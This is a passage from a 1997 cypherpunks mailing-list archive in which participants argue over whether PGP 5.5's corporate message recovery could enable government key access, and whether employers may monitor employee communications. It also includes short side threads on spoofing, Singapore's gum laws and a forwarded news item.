personnel who could track down the sender. But when the security personnel
find them first, they immediately assume that Mr Loser asked for them.

Now, if you want to be able to get people sacked, this is cool. If you
work for a company with CMR, this is really bad. It is also unneccesary.

> >These are the important questions we should be asking and noone on the
> >pro-PGP side seems interested in answering them. Why?
> 
> They have been answered time and time again, you just have not been
> interested in listening.

They have not. All we've heard are 'oh, don't worry, it can't happen,
be happy' assurances with no basis in fact. Is it any wonder we aren't
listening? 

> If this is such a life and death issue why don't you and some of the other
> Cypherpunks Philosopher Kings get off your armchair quarterbacking write,
> test, debug, and *market* your superior system??

Duh, because PGP has name recognition, and because by the time it was
finished they'd already have a large part of the market. But note: I'll
be very surprised if PGP CMR gets into the OpenPGP spec. Which means that
any other compliant implementation of PGP will not be compatible with
CMR. 

> Perhaps because the majority of the "PGP Inc is evil" crowd
> here couldn't make a buck in the business world if their lives depended on
> it.

Oh sure, ad hominem, ad hominem. What the hell do you think I do all
day? Why the hell do you think I'm spending so much time trying to show
people what CMR's problems are when I could be making money?

> I also find it interesting how there is "much weeping gnashing of teeth"
> over PGP 5.5 , which does nothing that couldn't be done with 2.6, while
> Netscape, RSA and the S/MIME crowd put weak crypto on every desktop??

Better weak crypto than GAK. Key-lengths can be increased, government
surveillance infrastructure cannot easily be removed.

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 24 Oct 1997 18:56:49 +0800
To: cypherpunks@toad.com
Subject: Re: spoofing as performance art
Message-ID: <1.5.4.32.19971024103715.00b404f8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Indeed, it is hard to tell the difference between spoofing and
grave pronouncements on threats to one's own interests under
guise of national secuirty and/or personal privacy, for the truthful 
lying that accompanies each performance are identical.

Spoofing has the ethical and humorous edge, however, in that 
it gives clues to its origin as entertainment -- let's us in on the
joke -- while the seriously dramatic performer aims at dominating 
us with profundity, wisdom, righteousness, conviction and disdain
for disbelievers in the blind faith of the performer in the importance of
her responsibility to hector and lecture us into craven servility.

All leaders suffer over self-importance and thereby demand
ridicule to save us from them.

Here's a Bronx cheer to the non-spoofers, who don't get that the
joke's on them.

Thank Zeus and Juno, as far as I've read here, cypherpunks
has no implacably non-spoofers posting, though a few of us are 
pretty good at behaving seriously briefly, spoofing seriousness. 

And PGP is doing a fine sanctimonious act worthy of high ridicule, 
it's just conforming to what businesses and governments do to 
survive the disloyalty of employees and citizens who don't believe 
once-trusted leaders inevitably corrupted by power, fame and chance
to forever escape work (corrupt me, do). They become parodies 
of themselves.

Anonymous got it right: Bosses and Government, no difference,
same liars and snoopers and non-spoofers who just don't get 
what's wrong with putting their interests before ours, we gobbling
voracious maggots.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 24 Oct 1997 20:08:31 +0800
To: mark@unicorn.com
Subject: Re: PGP Employee on MKR
In-Reply-To: <877686661.25414.193.133.230.33@unicorn.com>
Message-ID: <199710241155.HAA05345@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <877686661.25414.193.133.230.33@unicorn.com>, on 10/24/97 
   at 02:51 AM, mark@unicorn.com said:

>shamrock@cypherpunks.to wrote:

>> I have watched this silly debate for some time now. PGP pulled an awsome
>> hack on corporate America, bringing strong crypto to thousands of
>> corporate drones,  while Cypherpunks, the crypto elite, seems incapable of  
>> reponding with anything other than to engage in frenzied mutual
>> masturbation fueld by GAK fantasies.
>> 
>> This is sad. Very sad.

>Lucky, did you actually read anything I wrote, or is this merely another
>knee-jerk response?

>If you can explain the following, then I'll accept that my fears are
>merely fantasies:

>1. How PGP can prevent CMR being converted into GMR; their system builds
>   all the code required to support mandatory encryption to FBI and NSA
>   keys into every copy of PGP.

No their system does not. For what the FBI and NSA want much more needs to
be done. Not to mention that *ANY* crypto system can be turned into GAK if
the FBI & NSA get congress to pass the laws that they want.

>2. Why PGP prefer this option to almost identical systems which do not
>   allow GMR. They don't even seem to be interested in discussing
>   alternatives.

What PGP Inc. did was provide what their *customers* , you know the ones
that pay their bills and keep them in business, wanted in a timely fashion
with little modification to their current code while circumventing some of
the more draconian requests.

>These are the important questions we should be asking and noone on the
>pro-PGP side seems interested in answering them. Why?

They have been answered time and time again, you just have not been
interested in listening.

>Frankly, this issue seems to be the most important since Clipper, and I'm
>amazed that so many cypherpunks are so dazzled by PGP's name that they
>refuse to sit and think these issues through. 

If this is such a life and death issue why don't you and some of the other
Cypherpunks Philosopher Kings get off your armchair quarterbacking write,
test, debug, and *market* your superior system?? Then we can all dance and
sing the praises of CP Inc. and what a wonderful thing that they have
done?? No? Perhaps because the majority of the "PGP Inc is evil" crowd
here couldn't make a buck in the business world if their lives depended on
it.

I also find it interesting how there is "much weeping gnashing of teeth"
over PGP 5.5 , which does nothing that couldn't be done with 2.6, while
Netscape, RSA and the S/MIME crowd put weak crypto on every desktop??
Where is the Righteous Indignation?? Where are the cries to burn RSA and
Netscape on the stake?? I think sticking the "unwashed masses" with 40bit
RC2 a more serious and pressing issue than anything going on with PGP 5.5.
Of course the Philosopher Kings are too busy in their PGP feeding frenzy
to notice such thing.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Charset: cp850
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9nLMLl8OCQMWNtaVN7xJfjyY42TJSjxzXp+eGLPCtOhvcxnu0+CJEu7nZM9jId3j
uxPkXfwtNrU=
=7Le9
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 24 Oct 1997 20:31:43 +0800
To: cypherpunks@toad.com
Subject: Re: CMR versus GAK?
In-Reply-To: <199710240110.UAA09551@dfw-ix3.ix.netcom.com>
Message-ID: <199710241222.IAA05621@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199710240110.UAA09551@dfw-ix3.ix.netcom.com>, on 10/23/97 
   at 06:05 AM, nobody@neva.org (Neva Remailer) said:


>"Big Brother or the Boss?"


>Are you SURE that's a dichotomy?

>Big Biz and Big Gov are almost inextricably intertwined these days.  If
>dot-com pushes for snoopware, it is called CMR.  If dot-gov pushes for
>it, it is called GAK.  The real question is, if the interests of Biz and
>Gov coincide, and "real cooperation" is achieved, does it really matter
>where the idea originated?  Either way you still have snoopware.

Well their are some basics that seem to get overlooked:

Corporate Access to Plain Text (CAPT)
- ------------------------------

- -- You work for the company
- -- Any documents you create on company time are owned by the company --
The company uses PGP 5.5 to ensure they can decrypt *their* documents --
You know which documents they have access to
- -- CAPT is flexable and can be adjusted to fit the security needs
   of the company.


Government Access to Keys (GAK)
- -------------------------------

- -- The governemnt works for you (at least in theory)
- -- Any document you create are your own.
- -- The govenrment want your keys so they can read *your* documents -- The
government wants access to ALL your documents
- -- There is no fleaxbility in GAK they want it all


There is a clear distinction here between one haveing the ability to
decrypt their own documents and a non-owner decrypting someone elses
documents. This is the distinction between corporate access to plain text
and GAK. The company *owns* the documents. They have a right to read them
any time they want. If you don't want your *private* corrospondance to be
read by others in the company then don't write them and transmit them at
work. 

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
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gaSSUzkKdSX79t+kcXnyyyADqoHwA1FPrcfA+92l+1IgXq243tT+lwDY3G3cCU/S
X6RBU0UbO9MUvc29LYcncr/nD30AoeN34qWMd3Pu6cwtgd3s7xZu0rdEQSww8nll
SNAKogoJS9c=
=e42J
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Fri, 24 Oct 1997 22:39:47 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP Employee on MKR
In-Reply-To: <877689108.28637.193.133.230.33@unicorn.com>
Message-ID: <19971024072954.03509@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Oct 24, 1997 at 03:31:48AM -0700, mark@unicorn.com wrote:
> 
> As I said before, the SMTP filter is not the evil aspect of your design,
> it's the enforced encryption to multiple recipients.

Gee, Mark, I thought it was the SMTP filter that did the enforcing.  
Maybe if PGP didn't call it "CMR" but instead called it something 
neutral like the "key link field".
>  
> >The fact is, nobody has come up with a scenario where PGP's CMR feature
> >can be turned into GAK in any practical way. 
> 
> I just have. Now try to explain it away.

Let's see, your scenario involves putting super sniffers at strategic
positions throughout the net, and passing laws that not only supports
this, but makes it illegal to go around them.  I suggest that if such
laws are passed PGP's software is the least of your problems.

To make it plain, Mark, I "explain it away" this way:  fundametally, 
your scenario assumes what it is trying to prove -- you assume that 
incredibly draconian laws are in place, and then you use that 
assumption to prove that incredibly draconian laws are in place.  
This is known as "circular reasoning" -- perhaps you've heard of it? 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 24 Oct 1997 13:53:59 +0800
To: cypherpunks@toad.com
Subject: Re: Spoofing
Message-ID: <199710240530.HAA17250@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



semprini@theschool.com wrote:
> 
> I don't think I'm out of line here in saying that all this spoofing of
> other users is a bit childish. I'm sure there are better
> things one could find to do with one's time. (Possibly work on
> cracking RSA's 128- bit key?)
> 
> --Dylan

I already cracked it.
The message is: "Sorry, but we ran out of cash."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 24 Oct 1997 20:54:05 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: ADMIN: lost messages (fwd)
Message-ID: <199710241312.IAA23154@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "Attila T. Hun" <attila@hun.org>
> Date: Fri, 24 Oct 97 04:43:22 +0000
> Subject: Re: ADMIN: lost messages

>     Jim Choate <ravage@ssz.com> was purported to have 
>     expostulated to perpetuate an opinion:

> a:> Any clues?
> 
> a:Things get lost on occassion?

>     pure bullshit and ego gratification.

[much deleted]

Put up or shut up junior.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 24 Oct 1997 21:32:24 +0800
To: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Subject: Re: CMR versus GAK?
In-Reply-To: <slrn65170k.16c.lutz@taranis.iks-jena.de>
Message-ID: <199710241319.JAA06195@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <slrn65170k.16c.lutz@taranis.iks-jena.de>, on 10/24/97 
   at 01:01 PM, lutz@taranis.iks-jena.de (Lutz Donnerhacke) said:

>* William H. Geiger III wrote:
>>documents. This is the distinction between corporate access to plain text
>>and GAK. The company *owns* the documents. They have a right to read them
>>any time they want. If you don't want your *private* corrospondance to be

>The company *owns* all telephon calls mad from an to there office. So
>they have a right to wiretrap and record all phone calls you does from
>the company. If you don't want your *private* corrospondance be
>wiretraped and recorded, prevent every phone call in private issues from
>the company. Forbit your insurance agency to call you in the company,
>deny the school attended by your children to phone you at work, if your
>childen is ill, ...

Lutz,

I am not quite sure what your point is here. A company has every right to
listen in on any phone conversation you make on their phones. There is no
"expectation of privacy". Many companies have strict guidlines on how you
can use their phones, just try spending alot of time on a 900 number. As
far as emergancy calls, I know of no company that disalows them but don't
expect them to be private as they are not.

>Somebody should thing about storing and communication. Look in the
>current draft. There is a solution.

This is not and issue of storage & communication this is an issue of
property rights. The owner of the property is the one with the rights. :)

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNFCg9Y9Co1n+aLhhAQHrOwP9GGJC3ULu6T2XCdcj09ynbhWBEMGIQsa2
Cnfj6kMW9bZmOJ78qyqC/CzomiPOUjMIpbBMPEuRHrAjhArr51lItbJwGMwqSgca
4PVid/L/BviFywVGjRA0auFPE1VsMVByDUow47NerV+yOy4rNp6Id7tEALY98J5j
L+hAmSnJGuk=
=cWDL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 24 Oct 1997 21:56:55 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Internet Child Pornographers Convicted [CNN]
Message-ID: <199710241317.IAA23212@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>    CNN logo 
>    Navigation 
>    
>    Infoseek/Big Yellow 
>    
>    
>    Pathfinder/Warner Bros 
>    
>    
>    
>    
>    Main banner AST. Working For Your Business. rule
>    
>                INTERNET CHILD PORNOGRAPHERS GET LONG JAIL TERMS
>                                        
>      October 23, 1997
>      Web posted at: 3:24 p.m. EDT (1924 GMT)
>      
>      SAN JOSE, California (Reuters) -- Three members of an international
>      child pornography ring that used the Internet to transmit pictures
>      of children were sentenced to jail.
>      
>      The men were jailed for their part in a wide-ranging, Internet-based
>      conspiracy in which several children, aged 10 or younger, were used
>      in sexually explicit acts to produce pornographic pictures and
>      videotapes, the U.S. Attorney's office said.
>      
>      U.S. District Judge James Ware on Wednesday sentenced the three
>      members of the "Orchid Club" in a San Jose courtroom after a long
>      hearing that included poignant personal statements by the victims.
>      
>      The U.S. Attorney's office in San Jose said Ronald Riva, 38, of
>      Greenfield, California, was sentenced to 30 years in prison; David
>      Tank, 35, of Cheney, Washington, to 19 years and 7 months; and
>      Christopher Saemisch, 38, of Lawrence, Kansas, to 11 years.
>      
>      Copyright 1997 Reuters Limited. All rights reserved.
>      
>     
>    rule
>    
>   Related stories:
>      * Officials focus on Internet use in sex crimes - October 8, 1997
>      * FBI: Internet pedophiles a growing threat - April 8, 1997
>      * FBI cracks down on child pornography on the Internet - April 7,
>        1997
>      * 12 arrested in computer pornography sweep - September 14, 1995
>        
>   Related sites:
>   
>      Note: Pages will open in a new browser window
>      * Crime on the Superhighway
>      * Child Safety on the Information Highway
>        
>      
>      
>      External sites are not endorsed by CNN Interactive.
>      
>    
>      _________________________________________________________________
>    
>    Infoseek search ____________________ ____  ____
>    
>      _________________________________________________________________
>    
>    
>    rule Message Boards Sound off on our
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>    
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>    
>    (c) 1997 Cable News Network, Inc.
>    All Rights Reserved.
>    
>         Terms under which this service is provided to you.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 24 Oct 1997 21:00:19 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: update.342 (fwd) [AIP]
Message-ID: <199710241319.IAA23249@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 22 Oct 97 10:14:42 EDT
> From: physnews@aip.org (AIP listserver)
> Subject: update.342
> 
> PHYSICS NEWS UPDATE                         
> The American Institute of Physics Bulletin of Physics News
> Number 342  October 22, 1997   by Phillip F. Schewe and Ben
> Stein
> 
> ONE OF THE MOST CONVECTIVE FLUIDS EVER
> OBSERVED IN THE LABORATORY has been created by

[body deleted]

> HIGH-PRECISION COSMOLOGY

[body deleted]

> SEVEN YEARS OF PHYSICS---the entire run of Physics News
> Updates---is now available in searchable form on the AIP Website
> at this address: www.aip.org/physnews/update.  Just type in a term
> or expression and up come references to items in past Updates.  For
> example: searching for "leptoquark" hauls up 2 items; "steven chu"
> finds 3 hits; "DNA" results in 13. All past Updates can be viewed
> by going to the archives.  See also Physics News Graphics
> (www.aip.org/physnews/graphics), our growing archive of physics
> figures, most of which accompany Update items. Subscription
> reminder: to add or delete your name from the distribution list,
> follow these steps---send a message to listserv@aip.org, leave the
> "subject" blank, and in the letter itself specify  either the expression 
> add physnews or delete physnews.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Fri, 24 Oct 1997 23:43:11 +0800
To: aba@dcs.ex.ac.uk
Subject: Re: PGP Employee on MKR
Message-ID: <877707423.648.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain



aba@dcs.ex.ac.uk wrote:

> We didn't say: "don't have disaster recovery for stored data."  (Well
> I didn't and I don't think Mark did either).

Yep. While there are much better options, I think PGP's CMR would be a
tolerable short-term solution for stored data. The problem is that it's
not for stored data, it's for email (or so 'Commerical MESSAGE Recovery')
would imply.

Note that solely using CMR for stored data would not require that the CMR
'feature' be built into freeware or personal versions of PGP, but only into
the corporate version. That in itself would be a big win.

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Fri, 24 Oct 1997 23:54:20 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP Employee on MKR
In-Reply-To: <877698834.17691.193.133.230.33@unicorn.com>
Message-ID: <19971024084128.07044@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Oct 24, 1997 at 06:13:55AM -0700, mark@unicorn.com wrote:
> whgiii@invweb.net wrote:
> 
> > No their system does not. For what the FBI and NSA want much more needs to
> > be done.
> 
> Really? Read the message I sent after that one. Let's suppose it's 2007,
> PGP have 99% of the crypto market. 
[...]

Probabilty: 0% 
Next argument:

> Here's a quick example of how cool CMR is... let's suppose that 
> loser@foo-bah.com upsets a customer and is working for a CMR corporation.
> Mr Irate Customer downloads some of that kiddie porn that we're told is
> all over the Net, and encrypts it to loser@foo-bah.com, but doesn't
> encrypt it to the company key. Mr Irate Customer mails hundreds of these
> images to loser@foo-bah.com. Their system bounces them. The security
> personnel at foo-bah.com notice all these bounces and snarf some of the
> messages.
> 
> The security personell take these messages to Mr Loser, and force him to
> decrypt them. Shock, horror, what a hideous, insane pervert Mr Loser must
> be to be receiving all these messages. Mr Loser is handed over to the cops
> and taken away. He might not go to jail, but he'll lose his job.
> 
> With a more rational implementation Mr Loser would receive the messages
> and see that they're obscene, and immediately report them to the security
> personnel who could track down the sender. But when the security personnel
> find them first, they immediately assume that Mr Loser asked for them.

Words fail me.  This is completely idiotic.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Fri, 24 Oct 1997 18:06:24 +0800
To: cypherpunks@algebra.com
Subject: Re: Singaporean control freaks & CMR
In-Reply-To: <cb7aef8839502ded654b6de27813cb63@anon.efga.org>
Message-ID: <slrn650oln.oq.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Anonymous wrote:
>Do you understand the difference between transit times of a fraction
>of a second and of days or weeks?  Does this suggest any differences in
>the need for recovery of encrypted data "in transit"?
>
>Not all communications are alike.  The longer data spends "in transit"
>the more need there is for recovery features.

Right. Communication is 'in transit' from MUA to MUA. Stored messages on
MTAs are in transit.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Fri, 24 Oct 1997 17:10:46 +0800
To: cypherpunks@Algebra.COM
Subject: Re: PGP Employee on MKR
In-Reply-To: <Pine.BSF.3.96.971023211502.3688C-100000@pakastelohi.cypherpunks.to>
Message-ID: <slrn650oot.oq.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Lucky Green wrote:
>corporate drones,  while Cypherpunks, the crypto elite, seems incapable of  
>reponding with anything other than to engage in frenzied mutual
>masturbation fueld by GAK fantasies.
>
>This is sad. Very sad.

Look at Open PGP and shut up.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 24 Oct 1997 21:36:31 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: CMR versus GAK? (fwd) > Right to monitor
Message-ID: <199710241400.JAA23475@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
> Subject: Re: CMR versus GAK?
> Date: 24 Oct 1997 13:01:12 GMT

> * William H. Geiger III wrote:
> >documents. This is the distinction between corporate access to plain text
> >and GAK. The company *owns* the documents. They have a right to read them
> >any time they want. If you don't want your *private* corrospondance to be
> 
> The company *owns* all telephon calls mad from an to there office. So they
> have a right to wiretrap and record all phone calls you does from the
> company. If you don't want your *private* corrospondance be wiretraped and
> recorded, prevent every phone call in private issues from the company.
> Forbit your insurance agency to call you in the company, deny the school
> attended by your children to phone you at work, if your childen is ill, ...

It occurs to me that this entire question is really of much larger social
import:

 -  do babysitters in your home have an inherent right to not be monitored
    in case they harm the child?

 -  do operators of vehicles on public roads have an inherent right to
    privacy about the vehicle?

 -  do businesses have the right to monitor the uses that their systems
    are put to?

 -  do public officials have an inherent right to privacy about their
    actions related to their office?

etc. ad nausium...

These various issues can be broken down into two simple questions that
once answered genericaly can be applied to the specific cases.

The bottem line is:

Does the owner of a resource have an inherent right to control that
resource and if so what are the boundaries?

Does the user of a resource have rights outside the purvue of the owner
of that resource and if so what are the boundaries?


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 24 Oct 1997 22:16:13 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: CMR versus GAK? (fwd) > Right to monitor
In-Reply-To: <199710241400.JAA23475@einstein.ssz.com>
Message-ID: <199710241408.KAA06691@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199710241400.JAA23475@einstein.ssz.com>, on 10/24/97 
   at 09:00 AM, Jim Choate <ravage@ssz.com> said:

>Forwarded message:

>> From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
>> Subject: Re: CMR versus GAK?
>> Date: 24 Oct 1997 13:01:12 GMT

>> * William H. Geiger III wrote:
>> >documents. This is the distinction between corporate access to plain text
>> >and GAK. The company *owns* the documents. They have a right to read them
>> >any time they want. If you don't want your *private* corrospondance to be
>> 
>> The company *owns* all telephon calls mad from an to there office. So they
>> have a right to wiretrap and record all phone calls you does from the
>> company. If you don't want your *private* corrospondance be wiretraped and
>> recorded, prevent every phone call in private issues from the company.
>> Forbit your insurance agency to call you in the company, deny the school
>> attended by your children to phone you at work, if your childen is ill, ...

>It occurs to me that this entire question is really of much larger social
>import:

> -  do babysitters in your home have an inherent right to not be
>monitored in case they harm the child?

So long as they are in someone elses home they do not. This is not an
issue of harm to the child this is a issue of it's my house and if you
don't like it get out.

> -  do operators of vehicles on public roads have an inherent right to
>    privacy about the vehicle?

The very nature of acting in public removes any expectation of privacy.

> -  do businesses have the right to monitor the uses that their systems
>    are put to?

Of course.

> -  do public officials have an inherent right to privacy about their
>    actions related to their office?

Nope, public officials are employees of the citizens. As such the citizens
have a right to monitor what they do.

>etc. ad nausium...

>These various issues can be broken down into two simple questions that
>once answered genericaly can be applied to the specific cases.

>The bottem line is:

>Does the owner of a resource have an inherent right to control that
>resource and if so what are the boundaries?

Yes, and the boundaries should be very few. Things like just because you
own a hammer doesn't give you the right to hit people over the head. But
as far as setting policies on how a resource can be used and what
conditions must be met before using them it should be without limit. If
you don't like it the don't use it and go get your own.

>Does the user of a resource have rights outside the purvue of the owner
>of that resource and if so what are the boundaries?

No they do not. If the user of a resource does not like the conditions set
by the owner for the use of that resource then they should not use it.

>        The financial policy of the welfare state requires that there    
>        be no way for the owners of wealth to protect themselves.        
>                                                                         
>                                           -Alan Greenspan-              

Never truer words were spoken.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
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eTGknDxzC7fBiDHQYuK5fKayDjGvms8w/6eO32XyH2ZI7260yM/RtyTNGSlRlI16
a26v5LZrwqHfa1cLNQQIMl8tOrITQ0mrVoiFEztbTcYQmyHDp1YHm7JFLaOW1EwS
gnCpUuzaFoY=
=G5sB
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Fri, 24 Oct 1997 17:14:25 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Elliptic Curve Cryptography
In-Reply-To: <19971024024428.13967.qmail@hotmail.com>
Message-ID: <slrn650p8d.oq.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Nobuki Nakatuji wrote:
>Is Elliptic Curve Cryptography a better encryption system than RSA ?

No, it's an other.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harish Pillay <harish@ganymede.contact.com.sg>
Date: Fri, 24 Oct 1997 09:29:24 +0800
To: whgiii@invweb.net (William H. Geiger III)
Subject: Re: Singaporean control freaks & CMR (Re: puff pieces vs tough crypto  issues)
In-Reply-To: <199710231649.MAA26636@users.invweb.net>
Message-ID: <199710240107.JAA16662@ganymede.contact.com.sg>
MIME-Version: 1.0
Content-Type: text



William -

Hi.

> In <199710231543.XAA02822@ganymede.contact.com.sg>, on 10/23/97 
>    at 11:43 PM, Harish Pillay <harish@ganymede.contact.com.sg> said:
> 
> >Hi.  For the sake of sanity and completeness, the following has to be
> >corrected.
> 
> >> Declan McCullagh <declan@well.com> writes:
> >> > The relevance? Another example of Singapore's loony politics. Strict social
> >> > controls and relative economic freedom. I find it fascinating in light of
> >> > Net-filtering and other attempts at restricting information flow; if you
> >> > don't, well, you can always delete it. :)
> >> 
> >> The net-filtering and social control aspects of Singapore are very
> >> interesting.  Seems that somewhere like Singapore might be an earlier
> >> adopter of mandatory GAK -- social ills have hugely disproportionate
> >> treatment over there.  I hear (and our Singaporean contributer
> >> confirms) that chewing gum is illegal, jay walking too.  (Hey you have
> >> the jay walking laws in the US too don't you?)  (I missed the social
> >> control aspect of the vote for kewlest public toilet story).
> 
> >Chewing gum per se is not illegal.  I just cannot buy them from any store
> >in Singapore.  I can chew to my heart's content.  I can go up north to 
> >Malaysia, buy a whole month's supply of gum (name your flavour) and bring
> >it back into Singapore.  
> 
> >So, what is moronically illegal is that I cannot sell that pack of gum.
> 
> Signapore is a prime example of "mirco management" at it's worst. Whenever
> such management is attempted either in the public or private sector they
> fail. It should be intresting to see how long Singapore can keep it up.

I don't think the "micro management" is at it's worst in Singapore - not by 
a long shot.  It is true that the Singapore government tries to do so and 
in a lot of what they attempt, they somehow come out smelling roses.  But 
they have goofed up royally as well.  

Regards.
-- 
Harish Pillay                             	  h.pillay@ieee.org
Singapore      *** Ask me about Linux *** http://home.pacific.net.sg/~harish





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 24 Oct 1997 22:22:59 +0800
To: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Subject: Re: CMR versus GAK?
In-Reply-To: <slrn6518rn.17j.lutz@taranis.iks-jena.de>
Message-ID: <199710241414.KAA06756@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



